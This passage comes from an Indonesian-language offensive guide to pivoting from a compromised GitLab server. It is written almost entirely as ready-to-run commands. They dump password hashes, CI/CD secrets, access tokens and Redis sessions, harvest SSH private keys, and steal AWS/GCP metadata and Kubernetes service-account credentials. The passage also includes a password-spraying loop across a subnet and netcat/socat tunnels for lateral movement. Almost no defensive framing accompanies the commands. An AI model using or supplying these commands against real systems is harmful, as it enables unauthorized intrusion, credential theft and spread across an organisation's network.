 4# Atau via tunnel dari attacker
 5psql -h localhost -p 5432 -U gitlab -d gitlabhq_production
 6
 7# Query penting:
 8# Semua user + password hash
 9SELECT username, encrypted_password, admin FROM users;
10
11# CI/CD variables (mungkin ada creds untuk server lain)
12SELECT project_id, key, value FROM ci_variables;
13
14# Personal access tokens (bisa dipakai tanpa password)
15SELECT user_id, name, token_digest FROM personal_access_tokens WHERE revoked = false;
16
17# Deploy tokens
18SELECT project_id, name, token FROM deploy_tokens;
19
20# Web hooks (mungkin ada URL internal)
21SELECT url, token FROM web_hooks;

Redis

 1# Redis biasanya tanpa auth di internal
 2redis-cli -h 10.0.0.6
 3
 4# Dump semua keys
 5KEYS *
 6
 7# Session tokens
 8KEYS session:*
 9GET session:gitlab:<session_id>
10
11# Sidekiq jobs (mungkin ada credentials di job args)
12KEYS queue:*
13LRANGE queue:default 0 -1

3.6 Pivot ke Server Lain via SSH

Dengan SSH keys yang ditemukan (dari CI vars, deploy keys, atau file di server):

 1# Cari SSH keys di server GitLab
 2find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
 3cat /home/*/.ssh/id_rsa 2>/dev/null
 4cat /root/.ssh/id_rsa 2>/dev/null
 5cat /var/opt/gitlab/.ssh/id_rsa 2>/dev/null
 6
 7# Cek known_hosts — server mana saja yang pernah di-SSH
 8cat /home/*/.ssh/known_hosts 2>/dev/null
 9cat /root/.ssh/known_hosts 2>/dev/null
10cat /var/opt/gitlab/.ssh/known_hosts 2>/dev/null
11
12# SSH ke server lain dengan key yang ditemukan
13ssh -i /path/to/key deploy@10.0.0.20
14ssh -i /path/to/key root@10.0.0.30

3.7 Pivot ke Cloud Infrastructure

Jika GitLab di cloud, dari server ini kamu bisa akses cloud API:

 1# AWS — cek IAM role
 2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
 3# Gunakan credentials untuk:
 4aws ec2 describe-instances              # list semua server
 5aws s3 ls                                # list S3 buckets
 6aws ssm start-session --target i-xxx     # shell ke EC2 lain
 7aws secretsmanager list-secrets          # cloud secrets
 8
 9# GCP
10curl -sH "Metadata-Flavor: Google" \
11  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
12# Gunakan token:
13gcloud compute instances list
14gcloud compute ssh instance-name
15
16# Kubernetes (jika GitLab di K8s)
17# Service account token biasanya auto-mounted:
18cat /var/run/secrets/kubernetes.io/serviceaccount/token
19# Gunakan:
20kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
21  --server=https://kubernetes.default.svc \
22  --insecure-skip-tls-verify \
23  get pods --all-namespaces

3.8 Lateral Movement via Credentials Reuse

Password & credentials yang ditemukan di GitLab sering dipakai ulang:

 1# Password dari database.yml, gitlab.rb, CI variables
 2# Coba ke semua server yang ditemukan:
 3
 4# SSH
 5for host in 10.0.0.{1..30}; do
 6  sshpass -p 'DbP@ssword123' ssh -o StrictHostKeyChecking=no admin@$host id 2>/dev/null && echo "$host SUCCESS"
 7done
 8
 9# MySQL
10mysql -h 10.0.0.5 -u root -p'DbP@ssword123'
11
12# PostgreSQL
13PGPASSWORD='DbP@ssword123' psql -h 10.0.0.5 -U postgres
14
15# Redis
16redis-cli -h 10.0.0.6 -a 'RedisPassword'
17
18# Web admin panels
19curl -s http://10.0.0.10:8080/login -d 'user=admin&pass=DbP@ssword123'

3.9 Pivot Tools

Ringkasan tools untuk pivoting:

ToolFungsiDownload Size
chiselSOCKS proxy via HTTP tunnel~8 MB
ligolo-ngFull network tunnel~6 MB
socatPort forwarding~400 KB
plinkSSH tunnel (jika target Windows)~600 KB
nmap (static)Port scanning~6 MB
proxychainsRoute tools melalui SOCKS- (install di attacker)

Jika tidak bisa upload tools sama sekali:

1# Pure bash port forward
2# Forward local port 8888 ke internal 10.0.0.5:5432
3mkfifo /tmp/f
4cat /tmp/f | nc 10.0.0.5 5432 | nc -l 8888 > /tmp/f
5
6# Pure bash SOCKS (sangat terbatas tapi works)
7# Atau pakai socat jika ada:
8socat TCP-LISTEN:8888,fork TCP:10.0.0.5:5432

3.10 Ringkasan Flow Pivoting

Root di GitLab Server
  │
  ├─ 1. Network Recon
  │     ├─ ip addr / ip route / ss -tupn
  │     ├─ cat /etc/hosts, resolv.conf
  │     └─ Extract hosts dari gitlab.rb, database.yml
  │
  ├─ 2. Internal Port Scan
  │     └─ bash /dev/tcp scan atau upload nmap
  │
  ├─ 3. Setup Tunnel
  │     ├─ SSH -D (SOCKS) jika punya SSH
  │     └─ Chisel / Ligolo jika hanya reverse shell
  │
  ├─ 4. Database Pivot
  │     ├─ PostgreSQL → dump users, CI vars, tokens
  │     └─ Redis → sessions, job data
  │
  ├─ 5. SSH Pivot
  │     ├─ Cari SSH keys di filesystem
  │     ├─ Cek known_hosts → target list
  │     └─ SSH ke server lain
  │
  ├─ 6. Cloud Pivot (jika cloud)
  │     ├─ Metadata → IAM credentials
  │     └─ Cloud CLI → enumerate & access
  │
  └─ 7. Credential Reuse
        └─ Coba password yang ditemukan ke semua service

Bab 4 — (Coming soon)